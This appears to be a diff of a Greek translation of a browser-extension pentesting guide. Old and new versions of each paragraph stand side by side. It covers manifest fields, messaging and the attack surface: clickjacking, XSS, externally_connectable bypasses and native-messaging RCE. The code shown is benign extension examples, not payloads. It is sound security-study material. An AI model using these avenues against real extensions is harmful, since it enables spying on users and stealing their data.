Για την προγραμματική εισαγωγή ενός περιεχομένου script, απαιτείται η επέκταση να έχει [δικαιώματα φιλοξενίας](https://developer.chrome.com/docs/extensions/reference/permissions) για τη σελίδα στην οποία θα εισαχθούν τα scripts. Αυτά τα δικαιώματα μπορεί να εξασφαλιστούν είτε **ζητώντας τα** εντός του μανιφέστ της επέκτασης είτε προσωρινά μέσω του [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
Για την προγραμματιστική έγχυση ενός content script, η επέκταση πρέπει να έχει [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) για τη σελίδα στην οποία θα εισαχθούν τα scripts. Αυτά τα permissions μπορούν να αποκτηθούν είτε με **αίτηση** στο manifest της επέκτασης είτε προσωρινά μέσω του [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
#### Παράδειγμα επέκτασης βασισμένης σε activeTab
#### Παράδειγμα επέκτασης που βασίζεται στο activeTab
```json:manifest.json
{
"name": "My extension",
@ -125,7 +125,7 @@ document.body.appendChild(div)
}
}
```
- **Εισαγωγή ενός αρχείου JS με κλικ:**
- **Εισαγωγή αρχείου JS με κλικ:**
```javascript
// content-script.js
document.body.style.backgroundColor = "orange"
@ -138,7 +138,7 @@ files: ["content-script.js"],
})
})
```
- **Εισάγετε μια συνάρτηση** με κλικ:
- **Inject a function** όταν γίνεται κλικ:
```javascript
//service-worker.js - Inject a function
function injectedFunction() {
@ -167,19 +167,19 @@ js: ["contentScript.js"],
// Another example
chrome.tabs.executeScript(tabId, { file: "content_script.js" })
```
Για να συμπεριλάβετε ή να αποκλείσετε περισσότερες διευθύνσεις URL, είναι επίσης δυνατή η χρήση των **`include_globs`** και **`exclude_globs`**.
Για να συμπεριλάβετε ή να αποκλείσετε περισσότερα URLs, είναι επίσης δυνατό να χρησιμοποιήσετε **`include_globs`** και **`exclude_globs`**.
### Content Scripts `run_at`
Το πεδίο `run_at` ελέγχει **πότε τα αρχεία JavaScript εισάγονται στη σελίδα web**. Η προτιμώμενη και προεπιλεγμένη τιμή είναι το `"document_idle"`.
Το πεδίο `run_at` ελέγχει **πότε τα αρχεία JavaScript εγχέονται στη σελίδα web**. Η προτιμώμενη και προεπιλεγμένη τιμή είναι `"document_idle"`.
Οι δυνατές τιμές είναι:
- **`document_idle`**: Όποτε είναι δυνατόν
- **`document_start`**: Μετά από οποιαδήποτε αρχεία από `css`, αλλά πριν από οποιαδήποτε άλλη DOM κατασκευαστεί ή οποιοδήποτε άλλο σενάριο εκτελεστεί.
- **`document_end`**: Άμεσα μετά την ολοκλήρωση της DOM, αλλά πριν από την φόρτωση υποπόρων όπως εικόνες και πλαίσια.
- **`document_start`**: Μετά από αρχεία από το `css`, αλλά πριν κατασκευαστεί οποιοδήποτε άλλο DOM ή πριν εκτελεστεί οποιοδήποτε άλλο script.
- **`document_end`**: Άμεσα μετά την ολοκλήρωση του DOM, αλλά πριν φορτωθούν υπο-πόροι όπως εικόνες και frames.
#### Via `manifest.json`
#### Μέσω `manifest.json`
```json
{
"name": "My extension",
@ -208,18 +208,18 @@ js: ["contentScript.js"],
```
### `background`
Τα μηνύματα που αποστέλλονται από τα περιεχόμενα σενάρια γίνονται δεκτά από τη **background page**, η οποία διαδραματίζει κεντρικό ρόλο στην συντονισμένη λειτουργία των στοιχείων της επέκτασης. Σημαντικά, η background page παραμένει καθ' όλη τη διάρκεια ζωής της επέκτασης, λειτουργώντας διακριτικά χωρίς άμεση αλληλεπίδραση του χρήστη. Διαθέτει το δικό της Document Object Model (DOM), επιτρέποντας πολύπλοκες αλληλεπιδράσεις και διαχείριση καταστάσεων.
Μηνύματα που στέλνονται από content scripts παραλαμβάνονται από τη **background page**, η οποία λειτουργεί ως κεντρικός κόμβος συντονισμού των συστατικών του extension. Σημειωτέον, η background page παραμένει καθ' όλη τη διάρκεια ζωής του extension, λειτουργώντας αθόρυβα χωρίς άμεση αλληλεπίδραση με τον χρήστη. Διαθέτει το δικό της Document Object Model (DOM), επιτρέποντας πολύπλοκες αλληλεπιδράσεις και διαχείριση κατάστασης.
**Key Points**:
**Κύρια Σημεία**:
- **Background Page Role:** Δρα ως το κέντρο ελέγχου της επέκτασης, εξασφαλίζοντας την επικοινωνία και τον συντονισμό μεταξύ των διαφόρων τμημάτων της επέκτασης.
- **Persistence:** Είναι μια πάντα παρούσα οντότητα, αόρατη στον χρήστη αλλά αναπόσπαστο μέρος της λειτουργικότητας της επέκτασης.
- **Automatic Generation:** Εάν δεν οριστεί ρητά, ο περιηγητής θα δημιουργήσει αυτόματα μια background page. Αυτή η αυτόματα δημιουργημένη σελίδα θα περιλαμβάνει όλα τα background scripts που καθορίζονται στο manifest της επέκτασης, εξασφαλίζοντας την απρόσκοπτη λειτουργία των background tasks της επέκτασης.
- **Background Page Role:** Λειτουργεί ως κέντρο νεύρων για το extension, εξασφαλίζοντας επικοινωνία και συντονισμό μεταξύ των διαφόρων μερών του extension.
- **Persistence:** Είναι μια πάντα παρούσα οντότητα, αόρατη στον χρήστη αλλά ουσιαστική για τη λειτουργικότητα του extension.
- **Automatic Generation:** Αν δεν οριστεί ρητά, ο browser θα δημιουργήσει αυτόματα μια background page. Αυτή η αυτόματα δημιουργημένη σελίδα θα περιλαμβάνει όλα τα background scripts που καθορίζονται στο manifest του extension, εξασφαλίζοντας την απρόσκοπτη λειτουργία των background tasks του extension.
> [!TIP]
> Η ευκολία που παρέχει ο περιηγητής με την αυτόματη δημιουργία μιας background page (όταν δεν δηλώνεται ρητά) εξασφαλίζει ότι όλα τα απαραίτητα background scripts είναι ενσωματωμένα και λειτουργικά, απλοποιώντας τη διαδικασία ρύθμισης της επέκτασης.
> Η ευκολία που παρέχει ο browser δημιουργώντας αυτόματα μια background page (όταν δεν δηλώνεται ρητά) διασφαλίζει ότι όλα τα απαραίτητα background scripts ενσωματώνονται και λειτουργούν, απλοποιώντας τη διαδικασία ρύθμισης του extension.
Example background script:
Παράδειγμα background script:
```js
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
if (request == "explain") {
@ -227,34 +227,35 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
}
})
```
Χρησιμοποιεί το [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) για να ακούει μηνύματα. Όταν ληφθεί ένα μήνυμα `"explain"`, χρησιμοποιεί το [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) για να ανοίξει μια σελίδα σε μια νέα καρτέλα.
Χρησιμοποιεί [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) για να ακούει μηνύματα. Όταν λαμβάνεται μήνυμα `"explain"`, χρησιμοποιεί [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) για να ανοίξει μια σελίδα σε νέα καρτέλα.
Για να αποσφαλματώσετε το background script, μπορείτε να μεταβείτε στις **λεπτομέρειες της επέκτασης και να επιθεωρήσετε τον service worker,** αυτό θα ανοίξει τα εργαλεία προγραμματιστή με το background script:
Για να κάνετε debug το background script μπορείτε να μεταβείτε στις **extension details and inspect the service worker,** αυτό θα ανοίξει τα developer tools με το background script:
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
### Σελίδες επιλογών και άλλα
### Options pages and other
Οι επεκτάσεις προγράμματος περιήγησης μπορούν να περιέχουν διάφορους τύπους σελίδων:
Browser extensions μπορούν να περιέχουν διάφορους τύπους σελίδων:
- **Σελίδες δράσης** εμφανίζονται σε ένα **αναδυόμενο μενού όταν κάνετε κλικ στο εικονίδιο της επέκτασης.**
- Σελίδες που η επέκταση θα **φορτώσει σε μια νέα καρτέλα.**
- **Σελίδες επιλογών**: Αυτή η σελίδα εμφανίζεται πάνω από την επέκταση όταν κάνετε κλικ. Στο προηγούμενο manifest, στην περίπτωσή μου, μπόρεσα να αποκτήσω πρόσβαση σε αυτή τη σελίδα στο `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ή κάνοντας κλικ:
- **Action pages** εμφανίζονται σε ένα **drop-down όταν το εικονίδιο της επέκτασης ico**n πατηθεί.
- Σελίδες που η επέκταση θα **φορτώσει σε νέα καρτέλα**.
- **Option Pages**: Αυτή η σελίδα εμφανίζεται πάνω από την επέκταση όταν κλικάρεται. Στο προηγούμενο manifest, στην περίπτωσή μου μπόρεσα να αποκτήσω πρόσβαση σε αυτή τη σελίδα στο `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` ή κάνοντας κλικ:
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
Σημειώστε ότι αυτές οι σελίδες δεν είναι μόνιμες όπως οι σελίδες background, καθώς φορτώνουν δυναμικά περιεχόμενο κατά την ανάγκη. Παρά τούτο, μοιράζονται ορισμένες δυνατότητες με τη σελίδα background:
Σημειώστε ότι αυτές οι σελίδες δεν είναι μόνιμες όπως τα background pages καθώς φορτώνουν δυναμικά περιεχόμενο όταν χρειάζεται. Παρ' όλα αυτά, μοιράζονται ορισμένες δυνατότητες με το background page:
- **Επικοινωνία με Content Scripts:** Παρόμοια με τη σελίδα background, αυτές οι σελίδες μπορούν να λαμβάνουν μηνύματα από content scripts, διευκολύνοντας την αλληλεπίδραση εντός της επέκτασης.
- **Πρόσβαση σε APIs συγκεκριμένα για την επέκταση:** Αυτές οι σελίδες απολαμβάνουν πλήρη πρόσβαση σε APIs συγκεκριμένα για την επέκταση, υπό την προϋπόθεση των αδειών που ορίζονται για την επέκταση.
- **Επικοινωνία με Content Scripts:** Όπως και με το background page, αυτές οι σελίδες μπορούν να λάβουν μηνύματα από content scripts, διευκολύνοντας την αλληλεπίδραση μέσα στην επέκταση.
- **Πρόσβαση σε Extension-Specific APIs:** Αυτές οι σελίδες έχουν πλήρη πρόσβαση σε extension-specific APIs, υπό τις άδειες (permissions) που ορίζονται για την επέκταση.
### `permissions` & `host_permissions`
**`permissions`** και **`host_permissions`** είναι καταχωρήσεις από το `manifest.json` που θα υποδεικνύουν **ποιες άδειες** έχει η επέκταση του προγράμματος περιήγησης (αποθήκευση, τοποθεσία...) και σε **ποιες ιστοσελίδες**.
**`permissions`** and **`host_permissions`** είναι εγγραφές στο `manifest.json` που υποδεικνύουν **ποιες άδειες** έχει η επέκταση (storage, location...) και **σε ποιες ιστοσελίδες**.
Καθώς οι επεκτάσεις προγράμματος περιήγησης μπορεί να είναι τόσο **προνομιούχες**, μια κακόβουλη ή μια που έχει παραβιαστεί θα μπορούσε να επιτρέψει στον επιτιθέμενο **διαφορετικούς τρόπους να κλέψει ευαίσθητες πληροφορίες και να κατασκοπεύσει τον χρήστη**.
Καθώς οι browser extensions μπορούν να είναι τόσο **privileged**, μια κακόβουλη επέκταση ή μια επέκταση που έχει παραβιαστεί θα μπορούσε να επιτρέψει στον επιτιθέμενο **διάφορους τρόπους για να κλέψει ευαίσθητες πληροφορίες και να κατασκοπεύσει τον χρήστη**.
Check how these settings work and how they could get abused in:
Ελέγξτε πώς λειτουργούν αυτές οι ρυθμίσεις και πώς θα μπορούσαν να καταχραστούν σε:
{{#ref}}
browext-permissions-and-host_permissions.md
@ -262,13 +263,14 @@ browext-permissions-and-host_permissions.md
### `content_security_policy`
Μια **πολιτική ασφαλείας περιεχομένου** μπορεί επίσης να δηλωθεί μέσα στο `manifest.json`. Εάν υπάρχει μία καθορισμένη, θα μπορούσε να είναι **ευάλωτη**.
A **content security policy** μπορεί επίσης να δηλωθεί μέσα στο `manifest.json`. Εάν έχει οριστεί, μπορεί να είναι **ευάλωτη**.
Η προεπιλεγμένη ρύθμιση για τις σελίδες επεκτάσεων προγράμματος περιήγησης είναι μάλλον περιοριστική:
Η προεπιλεγμένη ρύθμιση για τις σελίδες επεκτάσεων του browser είναι μάλλον περιοριστική:
```bash
script-src 'self'; object-src 'self';
```
Για περισσότερες πληροφορίες σχετικά με το CSP και τις πιθανές παρακάμψεις, ελέγξτε:
For more info about CSP and potential bypasses check:
{{#ref}}
../content-security-policy-csp-bypass/
@ -276,7 +278,7 @@ script-src 'self'; object-src 'self';
### `web_accessible_resources`
Για να έχει μια ιστοσελίδα πρόσβαση σε μια σελίδα μιας Επέκτασης Περιηγητή, μια σελίδα `.html` για παράδειγμα, αυτή η σελίδα πρέπει να αναφέρεται στο πεδίο **`web_accessible_resources`** του `manifest.json`.\
Για να μπορεί μια ιστοσελίδα να έχει πρόσβαση σε μια σελίδα ενός Browser Extension, για παράδειγμα μια `.html` σελίδα, αυτή η σελίδα πρέπει να αναφέρεται στο πεδίο **`web_accessible_resources`** του `manifest.json`.\
Για παράδειγμα:
```javascript
{
@ -298,63 +300,64 @@ script-src 'self'; object-src 'self';
```
chrome-extension://<extension-id>/message.html
```
Στις δημόσιες επεκτάσεις, το **extension-id είναι προσβάσιμο**:
In public extensions the **extension-id is accesible**:
<figure><img src="../../images/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
Ωστόσο, αν η παράμετρος `manifest.json` **`use_dynamic_url`** χρησιμοποιείται, αυτό το **id μπορεί να είναι δυναμικό**.
Although, if the `manifest.json` parameter **`use_dynamic_url`** is used, this **id can be dynamic**.
> [!TIP]
> Σημειώστε ότι ακόμη και αν μια σελίδα αναφέρεται εδώ, μπορεί να είναι **προστατευμένη από ClickJacking** χάρη στην **Πολιτική Ασφαλείας Περιεχομένου**. Έτσι, πρέπει επίσης να το ελέγξετε (τμήμα frame-ancestors) πριν επιβεβαιώσετε ότι είναι δυνατή μια επίθεση ClickJacking.
> Σημειώστε ότι, ακόμη κι αν μια σελίδα αναφέρεται εδώ, μπορεί να είναι **προστατευμένη από ClickJacking** χάρη στην **Content Security Policy**. Επομένως πρέπει επίσης να την ελέγξετε (τμήμα frame-ancestors) πριν επιβεβαιώσετε ότι μια επίθεση ClickJacking είναι δυνατή.
Η δυνατότητα πρόσβασης σε αυτές τις σελίδες τις καθιστά **ενδεχομένως ευάλωτες σε ClickJacking**:
Η δυνατότητα πρόσβασης σε αυτές τις σελίδες καθιστά αυτές τις σελίδες **πιθανώς ευάλωτες σε ClickJacking**:
{{#ref}}
browext-clickjacking.md
{{#endref}}
> [!TIP]
> Η επιτρεπόμενη φόρτωση αυτών των σελίδων μόνο από την επέκταση και όχι από τυχαίες διευθύνσεις URL θα μπορούσε να αποτρέψει επιθέσεις ClickJacking.
> Επιτρέποντας αυτές τις σελίδες να φορτώνονται μόνο από την επέκταση και όχι από τυχαία URLs μπορεί να αποτρέψει επιθέσεις ClickJacking.
> [!CAUTION]
> Σημειώστε ότι οι σελίδες από **`web_accessible_resources`** και άλλες σελίδες της επέκτασης είναι επίσης ικανές να **επικοινωνούν με σενάρια φόντου**. Έτσι, αν μία από αυτές τις σελίδες είναι ευάλωτη σε **XSS**, θα μπορούσε να ανοίξει μια μεγαλύτερη ευπάθεια.
> Σημειώστε ότι οι σελίδες από **`web_accessible_resources`** και άλλες σελίδες της επέκτασης μπορούν επίσης να **επικοινωνήσουν με background scripts**. Επομένως, αν κάποια από αυτές τις σελίδες είναι ευάλωτη σε **XSS** μπορεί να ανοίξει μια μεγαλύτερη ευπάθεια.
>
> Επιπλέον, σημειώστε ότι μπορείτε να ανοίξετε μόνο σελίδες που αναφέρονται σε **`web_accessible_resources`** μέσα σε iframes, αλλά από μια νέα καρτέλα είναι δυνατή η πρόσβαση σε οποιαδήποτε σελίδα στην επέκταση γνωρίζοντας το extension ID. Επομένως, αν βρεθεί ένα XSS που εκμεταλλεύεται τις ίδιες παραμέτρους, θα μπορούσε να εκμεταλλευτεί ακόμη και αν η σελίδα δεν είναι ρυθμισμένη σε **`web_accessible_resources`**.
> Επιπλέον, σημειώστε ότι μπορείτε να ανοίξετε μέσα σε iframes μόνο τις σελίδες που υποδεικνύονται στο **`web_accessible_resources`**, αλλά από μια νέα καρτέλα είναι δυνατό να προσπελάσετε οποιαδήποτε σελίδα της επέκτασης γνωρίζοντας το extension ID. Επομένως, αν βρεθεί XSS που εκμεταλλεύεται τους ίδιους παραμέτρους, μπορεί να αξιοποιηθεί ακόμα και αν η σελίδα δεν είναι ρυθμισμένη στο **`web_accessible_resources`**.
### `externally_connectable`
Σύμφωνα με τα [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), Η ιδιότητα `"externally_connectable"` του manifest δηλώνει **ποια extensions και ιστοσελίδες μπορούν να συνδεθούν** με την επέκτασή σας μέσω [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) και [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
Σύμφωνα με τα [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally_connectable), η ιδιότητα manifest `"externally_connectable"` δηλώνει **ποιες επεκτάσεις και web pages μπορούν να συνδεθούν** με την επέκτασή σας μέσω [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) και [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
- Αν το κλειδί **`externally_connectable`** **δεν** δηλώνεται στο manifest της επέκτασής σας ή δηλώνεται ως **`"ids": ["*"]`**, **όλες οι επεκτάσεις μπορούν να συνδεθούν, αλλά καμία ιστοσελίδα δεν μπορεί να συνδεθεί**.
- Αν **καθοριστούν συγκεκριμένα IDs**, όπως στο `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **μόνο αυτές οι εφαρμογές** μπορούν να συνδεθούν.
- Αν **καθοριστούν matches**, αυτές οι διαδικτυακές εφαρμογές θα μπορούν να συνδεθούν:
- Αν το κλειδί **`externally_connectable`** **δεν** δηλώνεται στο manifest της επέκτασής σας ή δηλώνεται ως **`"ids": ["*"]`**, **όλες οι επεκτάσεις μπορούν να συνδεθούν, αλλά καμία ιστοσελίδα δεν μπορεί**.
- Αν δηλωθούν **συγκεκριμένα IDs**, όπως στο `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **μόνο αυτές οι εφαρμογές** μπορούν να συνδεθούν.
- Αν δηλωθούν **matches**, αυτές οι web apps θα μπορούν να συνδεθούν:
```json
"matches": [
"https://*.google.com/*",
"*://*.chromium.org/*",
```
- Αν έχει καθοριστεί ως κενό: **`"externally_connectable": {}`**, καμία εφαρμογή ή ιστότοπος δεν θα μπορεί να συνδεθεί.
- Εάν οριστεί ως κενό: **`"externally_connectable": {}`**, καμία εφαρμογή ή ιστότοπος δεν θα μπορεί να συνδεθεί.
Όσο **λιγότερες επεκτάσεις και URLs** αναφέρονται εδώ, τόσο **μικρότερη θα είναι η επιφάνεια επίθεσης**.
Όσο λιγότερες επεκτάσεις και URLs υποδεικνύονται εδώ, τόσο μικρότερη θα είναι η επιφάνεια επίθεσης.
> [!CAUTION]
> Αν μια ιστοσελίδα **ευάλωτη σε XSS ή takeover** αναφέρεται σε **`externally_connectable`**, ένας επιτιθέμενος θα μπορεί να **στείλει μηνύματα απευθείας στο background script**, παρακάμπτοντας εντελώς το Content Script και το CSP του.
> Εάν μια σελίδα web **vulnerable to XSS or takeover** αναφέρεται στο **`externally_connectable`**, ένας attacker θα μπορεί να **send messages directly to the background script**, παρακάμπτοντας πλήρως το Content Script και το CSP του.
>
> Επομένως, αυτή είναι μια **πολύ ισχυρή παράκαμψη**.
> Επομένως, αυτό είναι ένα **πολύ ισχυρό bypass**.
>
> Επιπλέον, αν ο πελάτης εγκαταστήσει μια κακόβουλη επέκταση, ακόμη και αν δεν επιτρέπεται να επικοινωνήσει με την ευάλωτη επέκταση, θα μπορούσε να εισάγει **δεδομένα XSS σε μια επιτρεπόμενη ιστοσελίδα** ή να εκμεταλλευτεί τα APIs **`WebRequest`** ή **`DeclarativeNetRequest`** για να χειριστεί αιτήματα σε έναν στοχευμένο τομέα, αλλάζοντας το αίτημα μιας σελίδας για ένα **JavaScript αρχείο**. (Σημειώστε ότι το CSP στη στοχευμένη σελίδα θα μπορούσε να αποτρέψει αυτές τις επιθέσεις). Αυτή η ιδέα προέρχεται [**από αυτή τη γραφή**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
> Επιπλέον, εάν ο client εγκαταστήσει μια rouge extension, ακόμη και αν δεν επιτρέπεται να επικοινωνήσει με την vulnerable extension, θα μπορούσε να εγχύσει **XSS data in an allowed web page** ή να καταχραστεί τα **`WebRequest`** ή **`DeclarativeNetRequest`** APIs για να χειριστεί requests σε έναν στοχευμένο domain, τροποποιώντας το request της σελίδας για ένα **JavaScript file**. (Σημειώστε ότι το CSP στη στοχευμένη σελίδα θα μπορούσε να αποτρέψει αυτές τις επιθέσεις). Αυτή η ιδέα προέρχεται [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
## Περίληψη επικοινωνίας
### Επέκταση <--> WebApp
### Extension <--> WebApp
Για να επικοινωνήσουν το content script και η ιστοσελίδα, συνήθως χρησιμοποιούνται μηνύματα post. Επομένως, στην εφαρμογή ιστού θα βρείτε συνήθως κλήσεις στη συνάρτηση **`window.postMessage`** και στο content script ακροατές όπως **`window.addEventListener`**. Σημειώστε ωστόσο ότι η επέκταση θα μπορούσε επίσης να **επικοινωνήσει με την εφαρμογή ιστού στέλνοντας ένα Post Message** (και επομένως η ιστοσελίδα θα πρέπει να το περιμένει) ή απλώς να κάνει την ιστοσελίδα να φορτώσει ένα νέο script.
Για την επικοινωνία μεταξύ του content script και της σελίδας web συνήθως χρησιμοποιούνται post messages. Επομένως, στην web application συνήθως θα βρείτε κλήσεις στη συνάρτηση **`window.postMessage`** και στο content script listeners όπως **`window.addEventListener`**. Σημειώστε όμως ότι το extension θα μπορούσε επίσης να **communicate with the web application sending a Post Message** (και επομένως η web πρέπει να το περιμένει) ή απλώς να κάνει την web να φορτώσει ένα νέο script.
### Μέσα στην επέκταση
Συνήθως χρησιμοποιείται η συνάρτηση **`chrome.runtime.sendMessage`** για να στείλει ένα μήνυμα μέσα στην επέκταση (συνήθως διαχειρίζεται από το `background` script) και για να το λάβει και να το διαχειριστεί δηλώνεται ένας ακροατής καλώντας **`chrome.runtime.onMessage.addListener`**.
Συνήθως η συνάρτηση **`chrome.runtime.sendMessage`** χρησιμοποιείται για να στείλει ένα μήνυμα εντός της extension (συνήθως χειρίζεται από το `background` script) και για να το λάβει και να το χειριστεί δηλώνεται ένας listener που καλεί **`chrome.runtime.onMessage.addListener`**.
Είναι επίσης δυνατό να χρησιμοποιηθεί το **`chrome.runtime.connect()`** για να υπάρχει μια μόνιμη σύνδεση αντί να στέλνονται μεμονωμένα μηνύματα, είναι δυνατό να χρησιμοποιηθεί για να **στείλει** και **λάβει** **μηνύματα** όπως στο παρακάτω παράδειγμα:
Επίσης είναι δυνατό να χρησιμοποιηθεί **`chrome.runtime.connect()`** για μια persistent connection αντί να στέλνονται μεμονωμένα μηνύματα — μπορεί να χρησιμοποιηθεί για να **send** και **receive** **messages** όπως στο ακόλουθο παράδειγμα:
<details>
@ -389,19 +392,19 @@ console.log("Content script received message from background script:", msg)
```
</details>
Είναι επίσης δυνατό να στείλετε μηνύματα από ένα background script σε ένα content script που βρίσκεται σε μια συγκεκριμένη καρτέλα καλώντας **`chrome.tabs.sendMessage`** όπου θα χρειαστεί να υποδείξετε το **ID της καρτέλας** στην οποία θα στείλετε το μήνυμα.
Είναι επίσης δυνατό να στείλετε μηνύματα από ένα background script σε ένα content script που βρίσκεται σε μια συγκεκριμένη καρτέλα καλώντας **`chrome.tabs.sendMessage`** όπου θα χρειαστεί να υποδείξετε το **ID της καρτέλας** στην οποία θα σταλεί το μήνυμα.
### Από επιτρεπόμενα `externally_connectable` στην επέκταση
### Από τα επιτρεπόμενα `externally_connectable` προς την επέκταση
**Web εφαρμογές και εξωτερικές επεκτάσεις προγράμματος περιήγησης που επιτρέπονται** στη ρύθμιση `externally_connectable` μπορούν να στέλνουν αιτήματα χρησιμοποιώντας :
**Web apps και εξωτερικά browser extensions που επιτρέπονται** στην παράμετρο `externally_connectable` μπορούν να στείλουν αιτήματα χρησιμοποιώντας :
```javascript
chrome.runtime.sendMessage(extensionId, ...
```
Όπου είναι απαραίτητο να αναφερθεί το **extension ID**.
Όπου χρειάζεται να αναφερθεί το **extension ID**.
### Native Messaging
Είναι δυνατόν για τα background scripts να επικοινωνούν με binaries μέσα στο σύστημα, τα οποία μπορεί να είναι **ευάλωτα σε κρίσιμες ευπάθειες όπως οι RCEs** αν αυτή η επικοινωνία δεν είναι σωστά ασφαλισμένη. [More on this later](#native-messaging).
Είναι πιθανό οι background scripts να επικοινωνήσουν με binaries μέσα στο σύστημα, κάτι που μπορεί να είναι **ευάλωτο σε κρίσιμες ευπάθειες όπως RCEs** εάν αυτή η επικοινωνία δεν προστατεύεται σωστά. [More on this later](#native-messaging).
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@ -411,9 +414,9 @@ console.log("Received " + response)
}
)
```
## Web **↔︎** Content Script Communication
## Web **↔︎** Content Script Επικοινωνία
Τα περιβάλλοντα όπου λειτουργούν τα **content scripts** και όπου υπάρχουν οι σελίδες φιλοξενίας είναι **χωρισμένα** το ένα από το άλλο, εξασφαλίζοντας **απομόνωση**. Παρά αυτή την απομόνωση, και τα δύο έχουν τη δυνατότητα να αλληλεπιδρούν με το **Document Object Model (DOM)** της σελίδας, μια κοινή πηγή. Για να συμμετάσχει η σελίδα φιλοξενίας στην επικοινωνία με το **content script**, ή έμμεσα με την επέκταση μέσω του content script, απαιτείται να χρησιμοποιήσει το **DOM** που είναι προσβάσιμο και από τις δύο πλευρές ως κανάλι επικοινωνίας.
Τα περιβάλλοντα στα οποία εκτελούνται τα **content scripts** και στα οποία υπάρχουν οι host pages είναι **διαχωρισμένα** μεταξύ τους, εξασφαλίζοντας **απομόνωση**. Παρόλη αυτή την απομόνωση, και τα δύο έχουν τη δυνατότητα να αλληλεπιδράσουν με το **Document Object Model (DOM)** της σελίδας, έναν κοινό πόρο. Για να επικοινωνήσει η host page με το **content script**, ή έμμεσα με την extension μέσω του content script, απαιτείται να χρησιμοποιηθεί το **DOM** που είναι προσβάσιμο και από τα δύο μέρη ως κανάλι επικοινωνίας.
### Post Messages
```javascript:content-script.js
@ -450,15 +453,16 @@ window.postMessage(
false
)
```
Μια ασφαλής επικοινωνία Post Message θα πρέπει να ελέγχει την αυθεντικότητα του ληφθέντος μηνύματος, αυτό μπορεί να γίνει ελέγχοντας:
Μια ασφαλής Post Message επικοινωνία πρέπει να ελέγχει την αυθεντικότητα του ληφθέντος μηνύματος αυτό μπορεί να γίνει ελέγχοντας:
- **`event.isTrusted`**: Αυτό είναι True μόνο αν το γεγονός προκλήθηκε από ενέργεια του χρήστη
- Το περιεχόμενο του script μπορεί να περιμένει ένα μήνυμα μόνο αν ο χρήστης εκτελέσει κάποια ενέργεια
- **origin domain**: μπορεί να περιμένει ένα μήνυμα μόνο από μια επιτρεπόμενη λίστα τομέων.
- Αν χρησιμοποιηθεί regex, να είστε πολύ προσεκτικοί
- **Source**: `received_message.source !== window` μπορεί να χρησιμοποιηθεί για να ελέγξει αν το μήνυμα ήταν **από το ίδιο παράθυρο** όπου το Content Script ακούει.
- **`event.isTrusted`**: Αυτό είναι True μόνο αν το event ενεργοποιήθηκε από ενέργεια χρήστη
- Το content script ενδέχεται να περιμένει μήνυμα μόνο εάν ο χρήστης εκτελέσει κάποια ενέργεια
- **origin domain**: μπορεί να επιτρέπει μηνύματα μόνο από domains που βρίσκονται στην allowlist.
- Αν χρησιμοποιείται regex, να είστε πολύ προσεκτικοί
- **Source**: `received_message.source !== window` μπορεί να χρησιμοποιηθεί για να ελεγχθεί αν το μήνυμα ήταν **από το ίδιο παράθυρο** όπου το Content Script ακούει.
Οι παραπάνω έλεγχοι, ακόμη και αν γίνουν, μπορεί να είναι ευάλωτοι, οπότε δείτε στη σελίδα παρακάτω τους **potential Post Message bypasses**:
Οι προηγούμενοι έλεγχοι, ακόμη και αν εκτελούνται, θα μπορούσαν να είναι ευάλωτοι, οπότε ελέγξτε στην παρακάτω σελίδα **πιθανά bypasses Post Message**:
{{#ref}}
../postmessage-vulnerabilities/
@ -466,7 +470,8 @@ false
### Iframe
Ένας άλλος πιθανός τρόπος επικοινωνίας μπορεί να είναι μέσω **Iframe URLs**, μπορείτε να βρείτε ένα παράδειγμα σε:
Μια ακόμη πιθανή μέθοδος επικοινωνίας μπορεί να είναι μέσω **Iframe URLs**, μπορείτε να βρείτε ένα παράδειγμα στο:
{{#ref}}
browext-xss-example.md
@ -474,19 +479,20 @@ browext-xss-example.md
### DOM
Αυτό δεν είναι "ακριβώς" ένας τρόπος επικοινωνίας, αλλά το **web και το content script θα έχουν πρόσβαση στο web DOM**. Έτσι, αν το **content script** διαβάζει κάποιες πληροφορίες από αυτό, **εμπιστευόμενο το web DOM**, το web θα μπορούσε να **τροποποιήσει αυτά τα δεδομένα** (επειδή το web δεν θα πρέπει να εμπιστεύεται, ή επειδή το web είναι ευάλωτο σε XSS) και να **συμβιβάσει το Content Script**.
Δεν πρόκειται "ακριβώς" για τρόπο επικοινωνίας, αλλά το **web και το content script θα έχουν πρόσβαση στο web DOM**. Άρα, αν το **content script** διαβάζει πληροφορίες από αυτό και **εμπιστεύεται το web DOM**, το web μπορεί να **τροποποιήσει αυτά τα δεδομένα** (επειδή το web δεν πρέπει να εμπιστεύεται, ή επειδή το web είναι ευάλωτο σε XSS) και να θέσει σε κίνδυνο το Content Script.
Μπορείτε επίσης να βρείτε ένα παράδειγμα **DOM based XSS to compromise a browser extension** στο:
